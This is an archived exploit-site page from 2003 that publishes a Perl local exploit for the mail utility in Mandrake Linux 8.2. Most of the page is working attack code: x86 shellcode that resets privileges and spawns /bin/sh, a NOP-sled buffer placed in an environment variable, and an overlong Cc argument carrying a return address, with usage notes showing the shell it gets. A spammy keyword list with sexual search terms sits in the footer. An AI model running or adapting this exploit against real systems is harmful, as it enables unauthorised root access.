about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Mandrake Linux 8.2 /usr/mail local exploit (d86mail.pl)




2003-06-10 Mandrake Linux 8.2 /usr/mail local exploit (d86mail.pl)
#!/usr/bin/perl
###############################
# Mandrake 8.2 /usr/mail local exploit
#
# Usage:
# perl d86mail.pl [offset]
# Then enter "." (dot) and press 'Enter'
#
# Example:
# [satan@localhost my]$ perl d86mail.pl
# eip: 0xbffffddd
# .[enter]
# Cc: too long to edit
# sh-2.05$
###############################

$shellcode =
 "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" .
 "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" .

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
. 

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
.
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";
$size = 1000;
$size2 = 8204;
$retaddr = 0xbffffddd;
$nop = "\x90";
$offset = 0;
if (@ARGV == 1) {
 $offset = $ARGV[0];
}
for ($i = 0; $i < ($size - length($shellcode) - 4); $i++) {
 $buffer .= $nop;
}
for ($i = 0; $i < ($size2); $i++) {
 $buffer2 .= "A";
}
$buffer .= $shellcode;
print "eip: 0x", sprintf('%lx',($retaddr + $offset)),
"\n";
local($ENV{'EVILBUF'}) = $buffer;
$newret = pack('l', ($retaddr + $offset));
$buffer2 .= $newret;
exec("mail -s wow -c $buffer2 root@localhost");

#EOF


securitydot.net - 2003-06-10

Advertising

Copyright 2007, SecurityDot
Thu, 17 Dec 2009 00:05:22 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
phpbb+2.1. www.39fe.c kuwo8.cn afuan.com www.yafang www.xuebao naruto sex www sexy m Sex++pitch mr chicken www.sexwal TamilNaked www.pdtard www.garlic naruto sex www.tb-114 phpunity-p Www.game.c wwwzoosex. MGUniversi +...t%252F display mo invision p html explo loveav.net www.freepo os-commerc www woRLDS www.sex me www.sixy g School sex www.sex me Www.penk.c burzi guest book CMS is Fre www.zippyv php-nuke 2 news for c arpc Www.sexpic shuting.we vedeosex f www.seodak vedeosex f www.xl.xx maxcpm.inf usr 5462 wwwsicx hesk